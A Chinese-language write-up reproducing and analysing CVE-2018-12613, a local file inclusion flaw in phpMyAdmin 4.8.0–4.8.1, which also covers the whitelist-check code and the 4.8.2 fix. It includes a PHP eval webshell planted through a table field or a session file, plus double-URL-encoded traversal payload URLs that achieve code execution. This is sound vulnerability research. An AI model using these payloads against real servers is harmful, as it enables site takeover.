CVE-2018-12613 本地文件包含漏洞复现+漏洞分析
2023-2-18 17:48:0 Author: xz.aliyun.com(查看原文) 阅读量:34 收藏

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 CVE-2018-12613,这是一个在phpMyAdmin4.8.x(4.8.2之前)上发现的文件包含漏洞,攻击者可以利用该漏洞在后台进行任意的文件包含。也就也为着攻击者可以通过webshell直接拿下搭建了该服务的站点。

漏洞影响版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

本地文件包含

LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

1、下载phpmyadmin 漏洞版本,放在本地phpstudy网站根目录

利用数据库创建shell

1、登录phpmyadmin,在demo数据库新建一个数据表,字段为一句话木马

<?php @eval($_GET['s']);?>

2、查询生成文件的绝对路径

show variables like '%datadir%';

3、在D:\phpstudy_pro\Extensions\MySQL5.7.26\data\查看生成的.frm文件,打开文件,发现shell已经成功写入

4、利用本地文件包含去包含/bin/mysql/data/test/shell.frm文件即可RCE,playload如下(要根据自己目录选择跳跃几级,我的是四级目录),可以看到RCE执行成功

http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/../../../../Extensions/MySQL5.7.26/data/demo/shell.frm&s=phpinfo();

利用session文件创建shell

1、执行sql语句,查看session,主要看cookie中phpmyadmin中的值

<?php @eval($_GET['s']);?>

2、在tmp中搜索刚刚查到的文件26rsjd2sd6ih3n8iluuepgorun515r9j,打开后发现文件中有<?php @eval($_GET['s']);?>

3、利用本地文件包含去包含Extensions\tmp\tmp\sess_kir14uhqhshe8smr1njvphr5slmso84o文件即可RCE,playload如下(要根据自己目录选择跳跃几级,我的是四级目录),可以看到RCE执行成功

http://localhost:84/phpmyadmin/index.php?target=db_sql.php%253f/../../../../Extensions/tmp/tmp/sess_kir14uhqhshe8smr1njvphr5slmso84o&s=phpinfo();

代码分析

1、本次代码审计借助Seay工具,导入源码后,全局搜索include函数,发现代码中存在大量的include。但是大部分的include都是类似于下面这种。

2、将包含的文件名或者路径写死在程序中,也就是说用户无法控制包含的文件也就不存在文件包含漏洞。我们主要是寻找用户可以控制文件路径的include函数。本文讨论的漏洞出现index.php文件的在下面的代码中

3、打开phpstorm将项目导入,找到index.php第55行开始分析,接着仔细查看该段代码出现的文件内容,查看如何能够触发文件包含,也就是说如何能够让程序执行到存在文件包含漏洞的代码。从目标代码往前查看,寻找die、exit这些能够导致退出脚本的语句。

4、可以看到我们要执行的目标代码本身位于一个if判断中,该if判断中存在五个条件,这5个条件要全部满足才会执行目标代码

条件编号 条件内容
条件1 ! empty($_REQUEST['target']
条件2 is_string($_REQUEST['target']
条件3 ! preg_match('/^index/', $_REQUEST['target'])
条件4 ! in_array($_REQUEST['target'], $target_blacklist)
条件5 Core::checkPageValidity($_REQUEST['target']

5、针对以上条件进行解读

1)、条件1:请求的参数不能为空
2)、条件2:请求的参数必须要是字符串
3)、条件3:请求的参数不能以index开头
4)、条件4:请求的参数不能在target_blacklist数组中,这个数组等会再说
5)、条件5:请求的参数被传递到Core类下的checkPageValidity函数中,等会再说

6、前三个条件已经搞清楚,现在看下后面两个条件,一个target_blacklist数组和checkPageValidity函数。

7、先看下target_blacklist数组,根据代码分析,该数组是一个黑名单,也就是说请求的target参数不能在黑名单中

8、更新一下条件解读

1)、条件1:请求的target参数不能为空;
2)、条件2:请求的target参数必须要是字符串;
3)、条件3:请求的target参数不能以index开头;
4)、条件4:请求的target参数不能是import.php或export.php;
5)、条件5:请求的target参数被传递到Core类下的checkPageValidity函数中,等会再说;

9、研究checkPageValidity函数,该函数返回true时上面5个条件才会满足,目标代码才会执行,怎么样才能返回true尼?checkPageValidity函数中有5个if判断,我们深入分析分析

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }
条件编号 条件内容
条件1 empty($whitelist)
条件2 ! isset($page) \ \ !is_string($page)
条件3 in_array($page, $whitelist)
条件4 in_array($_page, $whitelist)
条件5 in_array($_page, $whitelist)

10、针对checkPageValidity函数的条件解读

1)、条件1:这个和我们请求的target参数无关,变量whitelist默认就是空数组,且将全局白名单参数goto_whitelist赋值给whitelist;

2)、条件2:请求参数target不为空且类型要是字符串;
3)、条件3:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;
4)、条件4:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;
5)、条件5:检测taget字段的值是否在白名单中,如果在白名单中该函数会返回true;

11、但是关键点在于如果不在白名单中该函数并没有直接返回false,而是对target字段的值进行了处理然后再进行匹配。

12、判断3是直接判断target字段的值是否在白名单中,如果不在白名单中会执行下面的代码

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

13、mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()

14、mb_strpos函数查找字符串在另一个字符串中首次出现的位置

15、该段代码会截取传参之前的内容,比如我们传入的内容是index.php?id=1,经过该函数处理后会变成index.php。然后将截取到的文件名与白名单进行匹配,也就是判断4执行的内容。如果匹配成功返回true,匹配失败接着对target的值进行处理,会执行下面的代码。

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);

16、该段代码会对target的值进行URL解码,然后对解码后的内容截取?传参之前的内容。在将截取到的内容与白名单进行匹配,也就是执行判断5的内容,这是最后一个判断。如果该判断成立会返回true。所有的判断都不成立就会返回false。

构造payload

设想一:target=db_sql.php?/../

1、因为我们要测试文件包含漏洞,就要跳跃目录进行文件包含

2、如果我们想成功执行include $_REQUEST['target'];,必须要使target传参时满足下面5个条件

条件内容
条件1 ! empty($_REQUEST['target']
条件2 is_string($_REQUEST['target']
条件3 ! preg_match('/^index/', $_REQUEST['target'])
条件4 ! in_array($_REQUEST['target'], $target_blacklist)
条件5 Core::checkPageValidity($_REQUEST['target']

3、前面4个条件我们都可以满足,条件5又要满足5个条件,如下

条件编号 条件内容
条件1 empty($whitelist)
条件2 ! isset($page) \ \ !is_string($page)
条件3 in_array($page, $whitelist)
条件4 in_array($_page, $whitelist)
条件5 in_array($_page, $whitelist)

4、前两条判断可以很顺利的通过,在第三条判断中不存在操作空间,因为他会直接将我们传参的内容与白名单进行匹配。在第四条判断中,我们可以构想如下的payload

target=db_sql.php?/../

5、该payload表示的路径是当前工作目录,如果该payload可以在include中成功的被包含,那么我们就可以以当前目录为依据完成文件包含。其中db_sql.php是白名单中的文件,显然该target的值可以顺利的通过前4个条件

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)

6、在执行第5个条件的时候

&& Core::checkPageValidity($_REQUEST['target'])

7、进入checkPageValidity函数函数中执行5个判断

if(empty($whitelist))
if(!isset($page)||!is_string($page))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))
if(in_array($page, $whitelist))

8、判断1与我们输入的内容无关,判断2显然可以顺利通过

if(empty($whitelist))
if(!isset($page)||!is_string($page))

9、在执行判断3与白名单进行匹配的时候会匹配失败,然后执行判断4,判断4会去除?之后的内容,target的值从db_sql.php?/…/变成了db_sql.php,与白名单匹配成功了,直接返回true,也就让五个条件都成立

! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])

10、为了测试,我们在phpmyadmin目录下新建1.php,内容如下

<?php phpinfo();?>

11、然后执行我们的目标代码,执行失败,并没有解析php代码

http://localhost:84/index.php?target=db_sql.php?/../1.php

12、在执行checkPageValidity函数的时候并没有修改target的值,在对target的值进行处理后再匹配时,使用page变量保存的处理的后的值,而没有直接修改target的值,所target的内容依据是我嗯输入的db_sql.php?/../。但是include所使用的文件的路径中不可以包含特殊字符,而我们使用了?,所以依旧无法完成文件包含。通过打断点debug模式调试我们可以发现

设想二:target=db_sql.php%253f/../

1、虽然设想一没有完成文件包含。但是我们可以利用判断5中会进行URL解码来进行文件的包含。当我们使用GET进行传参的时候浏览器会对GET传递的数据进行URL编码,数据到达服务器后会进行URL解码。比如我们使用GET传递一个单引号(’),浏览器会将其编码为%27,然后传递给服务器端,服务器接收到数据后会进行URL解码,获得传递的值(’)。但是如果我们手动在数据包中的将%27修改为%2527,那么服务器端接收到%2527的时候会进行一个URL解码,解码后变成了%27。而站点的代码中又调用了urldecode函数对传参的内容进行URL解码,在第二次解码后,我们传递的内容变成了单引号。也就是说客户端发送来的数据服务端进行了两次URL解码。

2、而我们这里的判断5中就调用urldecode函数。因此我们可以尝试构造下面的payload,将?进行url两次编码

http://localhost:84/index.php?target=db_sql.php%253f/../1.php

3、通过debug模式+打断点的形式进一步分析验证,首先服务器接收到该传参后进行一次URL解码,变成target=db_sql.php%3f/../

4、然后进入checkPageValidity函数,在执行判断3、4的时候均匹配失败(判断3匹配原声target的值,判断4匹配去掉传参后的target的值),于是执行判断5,在条件5中会对该值进行URL解码,变成了target=db_sql.php?/../

5、能够成功的匹配白名单。因此条件5也成立,我们可以看到条件5进入为true的代码块

6、因为5个条件都可以满足,所以最终可以执行目标代码

1、升级版本

1、4.8.2版本已经修复,而4.8.1版本是有漏洞的版本

2、我们分析一下两个版本的代码,看看有什么区别

3、对比index.php部分代码,发现在checkPageValidity函数多传递两个参数[]true

4、对比checkPageValidity函数代码,发现4.8.2版本代码只多几行

5、4.8.2版本参数多一个默认参数$include=false,函数体中新增代码

if ($include) {
    return false;
}

6、因为Core::checkPageValidity($_REQUEST['target'], [], true)最后传值是true,当true传递checkPageValidity函数时,$include会被赋值为true,因为前面的true是直接在代码中写死的,函数体中有if ($include)一直会成立,那么checkPageValidity函数返回值也一直是false,不会执行到include $_REQUEST['target'];代码块,也就无法导致本地文件包含漏洞

7、官方的修复方案就是不满足5个条件,也就无法执行include代码块。访问payload,确实无法触发本地文件包含漏洞


文章来源: https://xz.aliyun.com/t/12184
如有侵权请联系:admin#unsafe.sh